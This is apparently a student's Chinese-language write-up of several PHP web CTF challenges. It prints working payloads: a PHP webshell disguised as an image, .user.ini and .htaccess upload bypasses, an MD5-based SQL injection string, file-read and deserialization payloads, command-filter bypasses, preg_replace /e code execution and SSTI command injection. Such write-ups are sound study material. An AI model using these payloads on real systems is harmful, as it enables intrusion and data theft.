写在前面 不知道 Web 的每日一题还能坚持多久,做到以前那种大比赛的 Web 题时发现一天时间很难吃透,或者根本就是一天时间内搞不懂,还听协会里的 pwn 师傅说一道 pwn 题能打三四天,一个星期,所以可能以后每日一题往各个方向的基础题发展,下一步准备把固态买回来重装一遍系统,然后进军 pwn!!!
[极客大挑战 2019]BuyFlag
进入 pay.php
查看源码发现 waf ,同时要求 money = 1000000000
<!--
~~~post money and password~~~
if (isset($_POST['password'])) {
$password = $_POST['password'];
if (is_numeric($password)) {
echo "password can't be number</br>";
}elseif ($password == 404) {
echo "Password Right!</br>";
}
}
-->
in_numeric()函数对于第一个空格字符会条跳过,接着后面的判断,绕过方式就是 password=404%20
,但是传参 money = 100000000 时发现密码正确数字过长
用科学计数法 money = 1e10
可以绕过,拿到 flag
值得注意的点,Cookie: user = 0
要改成 Cookie: user = 1
,可能对应题目的话
百度wp发现大师傅们都是直接猜测 money 的比较函数是 strcmp ,直接用数组绕过
[SUCTF 2019]CheckIn
进去以后发现了经典的文件上传界面,传了上次剩下的马,发现上传成功了,但是传上去一点思路也没有,文件也不解析成 php
前几天看了思维导图,发现有一种文件上传漏洞的题是.user.ini
,感觉可能是这一题,百度学习一波
.user.ini
参考文章:
https://blog.csdn.net/weixin_44077544/article/details/102688564
首先介绍php.ini文件,php有很多配置,并可以在php.ini中设置。在每个正规的网站里,都会由这样一个文件,而且每次运行PHP文件时,都会去读取这个配置文件,来设置PHP的相关规则。 这些配置可以分为四种:
我感觉是按重要程度分类了,比如关乎到系统一类的配置,那一类的全部配置,都属于“PHP_INI_SYSTEM”。它只能在,像php.ini这样的“厉害”的文件里可以设定。而其他的三类不怎么重要的配置,除了可以在php.ini中设定外,还可以在其它类似的文件中设定,其中就包括.user.ini
文件。
实际上,除了PHP_INI_SYSTEM以外的模式(包括PHP_INI_ALL)都是可以通过.user.ini
来设置的。而且,和php.ini不同的是,.user.ini
是一个能被动态加载的ini文件。也就是说我修改了.user.ini
后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。
这里就很清楚了,.user.ini
实际上就是一个可以由用户“自定义”的 php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。(上面表格中没有提到的PHP_INI_PERDIR也可以在.user.ini中设置)
其中有两个配置,可以用来制造后门:
auto_append_file
、auto_prepend_file
指定一个文件,自动包含在要执行的文件前,类似于在 index.php 中插入一句:require(./a.jpg);
。而auto_append_file类似,只是在文件后面包含。
使用方法很简单,直接写在.user.ini
中:
auto_prepend_file=test.jpg
那么当我们访问此目录下的任何一个文件时,都会去包含test.jpg
.user.ini 类似.htaccess文件
- 比
.htaccess
用的更广,不管是nginx/apache/IIS,只要是以 fastcgi 运行的 php 都可以用这个方法 .user.ini
实际上就是一个可以由用户“自定义”的php.ini- 修改了
.user.ini
后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl
所设置的时间(默认为300秒),即可被重新加载
- 比
.user.ini 利用条件
服务器脚本语言为PHP
服务器使用CGI/FastCGI模式
上传目录下要有可执行的php文件
按我自己的理解,就是
.user.ini
,test.jpg
,可执行的php文件
三个东西要在同一个目录下除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录(
$_SERVER['DOCUMENT_ROOT']
所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
auto_prepend_file,auto_append_file
- 类似于在文件前调用了require()函数
- 是一个php配置项
- 该配置项会让php文件在执行前先包含一个指定的文件,通过这个配置项,我们就可以来隐藏自己的后门
- auto_prepend_file 表示在php程序加载第一个php代码前加载的php文件,auto_append_file 是在php代码执行完毕后加载的文件
回到题目
思路清晰了,先制作.user.ini
文件上传
GIF89a
auto_prepend_file=ma.jpg
发现上传目录下有
index.php
,意思已经非常明显了,就是考.user.ini
再传ma.jpg
图片马的名字要和
.user.ini
里面设置的图片名字一样
GIF89a
<script language='php'>eval($_POST['shell']);</script>
<script language='php'>system('cat /flag');</script>
访问上传路径下的index.php
拿到 flag
[BJDCTF2020]Easy MD5
F12 看到 Hint
select * from 'admin' where password=md5($pass,true)
一个经典的 md5 注入语句
ffifdyop
,这个点的原理是 ffifdyop
这个字符串被 md5 哈希了之后会变成 276f722736c95d99e921722cf9ed621c
,这个字符串前几位刚好是 ‘ or ‘6xxxxxxx
而 Mysql 刚好又会把 hex 转成 ascii 解释
md5 函数在指定了 true 的时候,是返回的原始 16 字符二进制格式。也就是说会返回这样的字符串:'or’6\xc9]\x99\xe9!r,\xf9\xedb\x1c
因为md5函数返回的是字符串,后端应该会用单引号/双引号包起来的,所以拼接过来应该是
select * from 'admin' where password=''or'6.......'
password 就是永真式了,在 mysql 里面,在用作布尔型判断时,以1开头的字符串会被当做整型数。要注意的是这种情况是必须要有单引号括起来的,比如password=‘xxx’ or ‘1xxxxxxxxx’,那么就相当于password=‘xxx’ or 1 ,也就相当于password=‘xxx’ or true,所以返回值就是true。当然在我后来测试中发现,不只是1开头,只要是数字开头都是可以的,绕过了 md5 函数
财富密码
ffifdyop
到了第二关
右键查看源代码发现 waf,==还有出题人想要女朋友的骚话==
$a = $GET['a'];
$b = $_GET['b'];
if($a != $b && md5($a) == md5($b)){
// wow, glzjin wants a girl friend.
经典的 md5 弱比较 0e 绕过
财富密码a=QNKCDZO&b=240610708
然后到了最后一关
<?phperror_reporting(0);include "flag.php";highlight_file(__FILE__);if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){ echo $flag;}
经典的 md5 数组绕过
财富密码param1[]=QNKCDZO¶m2[]=240610708
[ZJCTF 2019]NiZhuanSiWei
刚进题目看到源码
<?php $text = $_GET["text"];$file = $_GET["file"];$password = $_GET["password"];if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ echo "Not now!"; exit(); }else{ include($file); //useless.php $password = unserialize($password); echo $password; }}else{ highlight_file(__FILE__);}?>
首先看到file_get_contents
第一反应想到php://input
,试了一下发现有回显
然后根据提示,用php://filter/read=convert.base64-encode/resource=
读useless.php
的源码
payload:?text=php://input&file=php://filter/read=convert.base64-encode/resource=useless.phpPOST 表单welcome to the zjctf
得到useless.php
的源码
<?php class Flag{ //flag.php public $file; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } ?>
__tostring
在对象被当做一个字符串使用时被调用,对应题目中的echo $password;
,本地测试传出序列化字符串,控制 public 属性 file 为 flag.php
<?php class Flag{ public $file='flag.php'; public function __tostring(){ if(isset($this->file)){ echo file_get_contents($this->file); echo "<br>"; return ("U R SO CLOSE !///COME ON PLZ"); } } } $password=new Flag();$password = serialize($password);echo $password; ?>
最后 payload 为:
?text=php://input&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}POST 表单welcome to the zfctf
F12 拿到 flag
[安洵杯 2019]easy_web
进来以后感觉十分心酸,因为这两天在打 xunca 高校联赛,其他板块的题都有师傅解出来,只有 web 的题一天半过去了三个题还是 0解,剩下一个题被拿了二血.......这题进来看到有个 md5 is funny
url 里面有一个图片的编码,看起来像 base64,还有 GET 传参一个 cmd
源代码里面是一大串 base64 加密,应该是熊猫头表情包的
拿 url 里面的编码去解密一下,第一次解出来的东西还是很像 base64 ,再解密一次得到3535352e706e67
,不太看得出像什么编码,随便搞搞发现是 Hex 编码,得到了555.png
然后这里感觉有点脑洞,如果这串加密文字代表的是熊猫头表情包,源代码里面的 base64 是表情包的编码,那么用同样的加密方式加密想要查找的页面传参进 img 会不会有回显,尝试
index.php
得到index.php
的 base64 编码
解码拿到源代码
<?phperror_reporting(E_ALL || ~ E_NOTICE);header('content-type:text/html;charset=utf-8');$cmd = $_GET['cmd'];if (!isset($_GET['img']) || !isset($_GET['cmd'])) header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');$file = hex2bin(base64_decode(base64_decode($_GET['img'])));$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);if (preg_match("/flag/i", $file)) { echo '<img src ="./ctf3.jpeg">'; die("xixi~ no flag");} else { $txt = base64_encode(file_get_contents($file)); echo "<img src='data:image/gif;base64," . $txt . "'></img>"; echo "<br>";}echo $cmd;echo "<br>";if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) { echo("forbid ~"); echo "<br>";} else { if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) { echo `$cmd`; } else { echo ("md5 is funny ~"); }}?>
md5 强比较绕过 + cmd 正则过滤,老熟人了,md5 用现成的payload
a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
没有过滤dir
函数,过滤了空格,可以用%20
代替,看看根目录,发现 bin 下有 flag
cmd 正则绕过两种解法
方法一:/bin/ca\t%20flag
正则中的:|\\|\\\\|
,因为正则中\\\
才匹配到一个真正意义上的反斜杠\
字符,所以反斜杠未被过滤,可以用/bin/c\at /flag来绕过
其实这里看得有点懵,为什么
|\\\\|
还能用\
绕过比如
|\\\\|
,php解释器先把第一个\
转义第二个\
,第三个转义第四个,变成|\\|
,然后在正则里面就被解释成\
,这个不就是匹配一个反斜杠了吗?为什么还可以用反斜杠绕过?
方法二:sort%20/flag
- sort将文件的每一行作为一个单位相互比较,比较原则是从首字符向后依次按ASCII码进行比较,最后将它们按升序输出(就是按行排序)
做到这里的时候 lol s10总决赛在打,个个都在看比赛,网络好卡,burp都好慢,直接用了别的师傅的截图
[MRCTF2020]你传你🐎呢&[GXYCTF2019]BabyUpload
经典文件上传,我这个🐎用了好多题了没被拦过,很舒服
ma2.jpg
GIF89a<script language="php">eval($_POST['shell']);</script> <script language='php'>phpinfo();</script>
.htaccess
文件,需要抓包改comtent-type
为image/jpeg
<FilesMatch "jpg">SetHandler application/x-httpd-php</FilesMatch>
意思就是,文件名里面含有
jpg
的,统统解析成php
访问路径看到phpinfo
,代表上🐎成功
换热点用蚁剑连
上🐎成功,拿到 flag
[GXYCTF2019]BabyUpload 这个题思路一样,直接秒了
[WUSTCTF2020]朴实无华
进来啥思路也没有,就进行常规信息收集,什么备份,index.php,robots.txt,刚好robots,txt
中奖了
进去以后发现是一个假的 flag ,用 burp 抓包看到有fl4g.php
来到 php 代码界面
<?phpheader('Content-type:text/html;charset=utf-8');error_reporting(0);highlight_file(__file__);//level 1if (isset($_GET['num'])){ $num = $_GET['num']; if(intval($num) < 2020 && intval($num + 1) > 2021){ echo "我不经意间看了看我的劳力士, 不是想看时间, 只是想不经意间, 让你知道我过得比你好.</br>"; }else{ die("金钱解决不了穷人的本质问题"); }}else{ die("去非洲吧");}//level 2if (isset($_GET['md5'])){ $md5=$_GET['md5']; if ($md5==md5($md5)) echo "想到这个CTFer拿到flag后, 感激涕零, 跑去东澜岸, 找一家餐厅, 把厨师轰出去, 自己炒两个拿手小菜, 倒一杯散装白酒, 致富有道, 别学小暴.</br>"; else die("我赶紧喊来我的酒肉朋友, 他打了个电话, 把他一家安排到了非洲");}else{ die("去非洲吧");}//get flagif (isset($_GET['get_flag'])){ $get_flag = $_GET['get_flag']; if(!strstr($get_flag," ")){ $get_flag = str_ireplace("cat", "wctf2020", $get_flag); echo "想到这里, 我充实而欣慰, 有钱人的快乐往往就是这么的朴实无华, 且枯燥.</br>"; system($get_flag); }else{ die("快到非洲了"); }}else{ die("去非洲吧");}?>
intval 函数参数会把e前的数字返回,那么就是说,如果是2e5,返回的值是2,而且2e5+1,则返回200001
md5 的 0e 绕过,老经典了
绕过 str_ireplace 姿势万千,绕过空格就是 ${IFS}
head${IFS}flag
tac${IFS}flag
more${IFS}flag
less${IFS}flag
nl${IFS}flag
tail${IFS}flag
sort${IFS}flag
ca\t${IFS}flag
一顿操作后,最后的 payload
?num=2e5&md5=0e215962017&get_flag=tac$IFS$9fllllllllllllllllllllllllllllllllllllllllaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaag
[GWCTF 2019]枯燥的抽奖
进去猜了几次以后看了看源码,发现有check.php
,进去看看发现源码
FdfyMIDfW6<?php#这不是抽奖程序的源代码!不许看!header("Content-Type: text/html;charset=utf-8");session_start();if(!isset($_SESSION['seed'])){$_SESSION['seed']=rand(0,999999999);}mt_srand($_SESSION['seed']);$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";$str='';$len1=20;for ( $i = 0; $i < $len1; $i++ ){ $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1); }$str_show = substr($str, 0, 10);echo "<p id='p1'>".$str_show."</p>";if(isset($_POST['num'])){ if($_POST['num']===$str){x echo "<p id=flag>抽奖,就是那么枯燥且无味,给你flag{xxxxxxxxx}</p>"; } else{ echo "<p id=flag>没抽中哦,再试试吧</p>"; }}show_source("check.php");
考点是 PHP 的伪随机数漏洞,mt_rand
就是一个伪随机数生成函数,它由可确定的函数,通过一个种子产生的伪随机数。这意味着:如果知道了种子,或者已经产生的随机数,都可能获得接下来随机数序列的信息(可预测性)
php_mt_seed
是一个破解mt_rand
函数 seed 的工具,在最简单的调用模式下,它能通过mt_rand
第一次输出的值寻找``mt_rand`的 seed,在更高级的模式中它能匹配不是第一次输出的和不明确具体输出的情况
回到题目,我们需要将给出前十个密码解析成php_mt_seed
需要的参数,加密时是通过mt_rand
分派的随机数配合substr
函数来确定密文,知道密文也可以逆推出mt_rand
当时分派的随机数,即php_mt_seed
需要的参数
参考学习文章
直接上 exp
FdfyMIDfW6<?php $pass_now = "FdfyMIDfW6";$allowable_characters = 'abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ';$length = strlen($allowable_characters) - 1;for ($j = 0; $j < strlen($pass_now); $j++) { for ($i = 0; $i < $length; $i++) { if ($pass_now[$j] == $allowable_characters[$i]) { echo "$i $i 0 $length "; break; } }}?> 结果是 41 41 0 61 3 3 0 61 5 5 0 61 24 24 0 61 48 48 0 61 44 44 0 61 39 39 0 61 5 5 0 61 58 58 0 61 32 32 0 61
把结果放进 kali 里面用php_mt_seed
跑,得到随机数种子和 php 版本(7.1+),跑出原始字符串
mt_srand(221049517);$str_long1 = "abcdefghijklmnopqrstuvwxyz0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";$str='';$len1=20;for ( $i = 0; $i < $len1; $i++ ){ $str.=substr($str_long1, mt_rand(0, strlen($str_long1) - 1), 1); }echo $str;
FdfyMIDfW6827nqjFfMe
[BJDCTF2020]ZJCTF,不过如此
这题一进来和前面刷的那道[ZJCTF 2019]NiZhuanSiWei
一模一样的考点,都是php://input
+php://filter
伪协议读源码,然后读出来源码发现之后的故事不一样
<?phperror_reporting(0);$text = $_GET["text"];$file = $_GET["file"];if(isset($text)&&(file_get_contents($text,'r')==="I have a dream")){ echo "<br><h1>".file_get_contents($text,'r')."</h1></br>"; if(preg_match("/flag/",$file)){ die("Not now!"); } include($file); //next.php }else{ highlight_file(__FILE__);}?>
财富密码跟之前那个题一样
?text=php://input&file=php://filter/read=convert.base64-encode/resource=next.phpPOST 表单I have a dream
然后顺理成章读到next,php
的源码
<?php$id = $_GET['id'];$_SESSION['id'] = $id;function complex($re, $str) { return preg_replace( '/(' . $re . ')/ei', 'strtolower("\\1")', $str );}foreach($_GET as $re => $str) { echo complex($re, $str). "\n";}function getFlag(){ @eval($_GET['cmd']);}
这个正则看得我一脸懵逼,果断去看了 wp
这篇 wp 写了有点久,头天晚上看 wp 边看边学理解完做了出来,但是学到的知识点有点多,一下子不懂怎么总结写下来,第二天早上起来又理了一小时多思路,第二天晚上整完的
参考文章
首先是这个函数foreach($_GET as $re => $str) { echo complex($re, $str). "\n";}
foreach(array_expression as $key => $value)
语句的语法:每次循环中,当前单元的值被赋给 $value 并且数组内部的指针向前移一步,键值也会在每次循环中被赋给变量 $key,键值这里可以理解为数组下标,数组元素a[2]的下标就是 2,举例
$arr = array("1"=>"111","2"=>"222","3"=>"333");foreach($arr as $key=>$value){ echo $key."=>".$value."\n";}结果如下:1=>1112=>2223=>333
意思就是,题目中的遍历函数会把传参的变量名字赋值给 $re ,变量值赋值给 $str ,然后传参给 complex 函数例如
/?abc=def$re = abc $str = def
然后是这个函数function complex($re, $str) { return preg_replace( '/(' . $re . ')/ei', 'strtolower("\\1")', $str );}
==/e 修正符使 preg_replace() 将 replacement 参数(第二个参数,字符串)当作 PHP 代码并且以 eval 函数的方式执行==,这就导致这个函数存在命令执行的漏洞
例如: /?.\*={${phpinfo()}}
,即 GET 方式传入的参数名为 .\*
,值为 {${phpinfo()}}
原先的语句: preg_replace('/(' . $re . ')/ei', 'strtolower("\\1")', $value);变成了语句: preg_replace('/(.*)/ei', 'strtolower("\\1")', {${phpinfo()}});
中途总结一下就是传参的==变量名==会成为正则的匹配语句
第一个参数正则匹配语句被括号括起来了,对应一个正则的知识点——==反向引用==
反向引用
对一个正则表达式模式或部分模式两边添加圆括号将导致相关匹配存储到一个临时缓冲区中,所捕获的每个子匹配都按照在正则表达式模式中从左到右出现的顺序存储。缓冲区编号从 1 开始,最多可存储 99 个捕获的子表达式。每个缓冲区都可以使用 '\n' 访问,其中 n 为一个标识特定缓冲区的一位或两位十进制数
第二个参数strtolower("\\1")
其中的\\1
其实会被解析成\1
,表示取出正则匹配后的第一个子匹配中的第一项,举例/(\w+)\/([^\/\/]+)/e
,\w+ 表示匹配任意长的字母数字下划线字符串,然后匹配 / 符号,再匹配除了 / 符号以外的字符。
就是意思匹配连续的两个参数。
假如 url 是这样 : www.dawn.com/index.php?s=1/2/3/4/5/6
也就是每次匹配 1和2 、 3和4 、 5和6。
然后\\1
是取第一个括号里的匹配结果,\\2
是取第二个括号里的匹配结果,也就是\\1
取的是 1 3 5,\\2
取的是 2 4 6
中途总结一下就是第二个参数strtolower
的参数是\\1
匹配到的第三个参数在第一个参数匹配成功的第一个子匹配项,简单来说就是第三个参数的值
但是strtolower
只是一个把字符串转成小写的函数,而且\\1
被双引号引住了(在php中,双引号里面如果包含有变量,php解释器会进行解析;单引号中的变量不会被处理)
怎么利用呢?
所以是最后一个知识点==复杂花括号语法==
任何具有 string 表达的标量变量,数组单元或对象属性都可使用此语法。只需简单地像在 string 以外的地方那样写出表达式,然后用花括号{
和 }
把它括起来即可。由于{
无法被转义,只有 $
紧挨着 {
时才会被识别。可以用 {\$
来表达 {$
,函数、方法、静态类变量和类常量只有在 PHP 5 以后才可在 {$}
中使用,举例
$great = 'fantastic';echo "This is {$great}";echo "This is ${great}";// 有效,输出: This is fantastic
回到题目,${phpinfo()} 中的 phpinfo() 会被当做变量先执行,执行后,即变成 ${1} (phpinfo()成功执行返回true)
var_dump(phpinfo()); // 结果:布尔 truevar_dump(strtolower(phpinfo()));// 结果:字符串 '1'var_dump(preg_replace('/(.*)/ie','1','{${phpinfo()}}'));// 结果:字符串'11'var_dump(preg_replace('/(.*)/ie','strtolower("\\1")','{${phpinfo()}}'));// 结果:空字符串''var_dump(preg_replace('/(.*)/ie','strtolower("{${phpinfo()}}")','{${phpinfo()}}'));// 结果:空字符串''这里的'strtolower("{${phpinfo()}}")'执行后相当于 strtolower("{${1}}") 又相当于 strtolower("{null}") 又相当于 '' 空字符串
最后思路理清楚了直接上财富密码了
/next.php?\S*=${getflag()}&cmd=show_source(%22/flag%22);
[BJDCTF2020]The mystery of ip
进去题目里面是一些风景图和大标题,常规看看源码进行信息搜集
在hint.php
里面有一行注释:
<!-- Do you know why i know your ip? -->
猜测是xff
头导致题目获取了我的 ip ,重发了一下请求加了个xff
头发现还真可以改,说明存在注入
但是丢 sqlmap 里面跑不出东西???很怪,无奈下去看了 wp ,发现居然是 SSTI 模板注入,可以执行远程命令
payloadx-forwarded-for: {{system("cat /flag")}}
不知不觉已经写了三篇每日一题了,每篇十题也过去一个月了,有点没想到能坚持下来
做了这些 Web 发现其实要学的东西还有很多,也还有很多题型是我没有刷到的,比如要写 Python 脚本的题目我都跳过了,因为自己写脚本还是太菜了,之后还会补回来的
双十一狠下心来买了一块 1T 的固态,之后准备重装系统,搞一搞虚拟机,把环境搭回来
下一个阶段就是学 Python 写脚本,Web 暂停一段时间,等脚本学了一段时间再回来搞 Web ,之后的每日一题应该会改名几日一题,因为准备进军 pwn 和逆向了,感觉会很难,想要吃透一题一天可能有些难或者有些赶(毕竟还有课和考试....)
未来可期